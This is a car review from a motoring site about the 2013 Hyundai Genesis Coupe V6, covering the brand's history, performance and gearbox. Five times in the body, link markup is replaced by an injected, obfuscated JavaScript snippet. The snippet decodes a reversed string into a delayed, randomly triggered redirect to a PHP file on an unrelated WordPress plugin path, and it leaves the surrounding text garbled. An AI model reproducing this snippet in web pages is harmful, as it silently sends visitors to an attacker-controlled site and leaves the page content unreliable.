Is buying a Hyundai sports car…acceptable nowadays? We find out with the new V6 Genesis Coupe
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In the late 1980s/early 1990s, buying a Hyundai was akin to cutting your own hair: cheap and sort of got the job done, but it was ugly as sin and people had a tendency to laugh at you in the street. Paying a fraction of the cost imposed by European manufacturers seemed a bargain on the surface, but poor build quality and questionable reliability meant more often than not the savings just weren’t worth it.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Hyundai-Genesis-6-728×485.jpg” alt=”” width=”728″ height=”485″>
Recently though, Hyundai has been on a bit of roll. From the boxy and underpowered Scoupe sprung the more rounded/elegant Tiburon/Coupe, which in itself ushered in the playful and enigmatic Veloster. Indeed, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/hyundai-hcd-14-genesis-concept/” target=”_blank” rel=”noopener”>the HDC-14 concept released recently shows the company has come a long way from 92hp and clunky four-speed gearboxes.
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So confident is Hyundai in this turnaround that when the Coupe was re-invented for 2008, it was marketed as the Genesis Coupe (in deference to the luxury Genesis saloon from which it had sprung). Today’s plaything is the next generation, new-for-2013 model. All the wrinkles have been ironed out from its predecessor, and other rival value-for-money sports coupes – the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/toyota-86-dont-believe-the-hype-its-that-good-dubai/” target=”_blank” rel=”noopener”>Toyota 86, in particular – are in its sights.
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Consequently, crankandpiston’s test model is packing some serious hardware. We have, for example, a 3.6-litre V6 under the bonnet, an eight-speed automatic paddle shift gearbox, sports-tuned multi-link suspension, a Brembo brake kit and a rear-wheel drive configuration. And looks ripped straight from the Holden Monaro spare parts bin. This is the big one then. Our love of the 86 on crankandpiston knows no limits ($VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-toyota-86-still-fresh/” target=”_blank” rel=”noopener”>our own Phil McGovern even bought one) and the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/renault-clio-rs-vs-toyota-86-fun-factor/” target=”_blank” rel=”noopener”>Renault Clio RS demonstrated that quirky and planted goes a long way to winning hearts. Can the Genesis hack it against these rivals?
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Don’t let those sealed inlets in the bonnet fool you. One firmly placed right foot on the accelerator makes it abundantly clear that Hyundai is not playing around (the company also offers a optional 2.0-litre four-cylinder unit instead). Maximum torque comes in at 4700rpm, and yes, there is a bit of lag whilst we wait for the magic number to appear on the odometer. Once it does though, you may be surprised by the vigour with which you are thrown into the pseudo-bucket seats. It’s hard not to smile, even if the whine from the V6 as the needle reaches the redline is a bit of a turnoff.
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Eight gears seems a bit much, since on only the most agonisingly straight stretches of highway will you come close to that. Saying that, gear change response is solid, and a quick flick of the paddle shift (especially in Sport mode which both firms up the suspension and heightens the steering response) means 299hp and 266lb-ft of torque is immediately at your fingertips. Well, on the upshifts anyway. Shifting down twice in succession has a tendency to confuse the transmission, and you may be kept waiting a beat or two for the system to catch up.
To make sure you’re getting the upmost from the engine, two dials on the centre console measure the percentage of acceleration and torque being used (in Nm) with each press of the accelerator: a red flag to the crankandpiston bull.
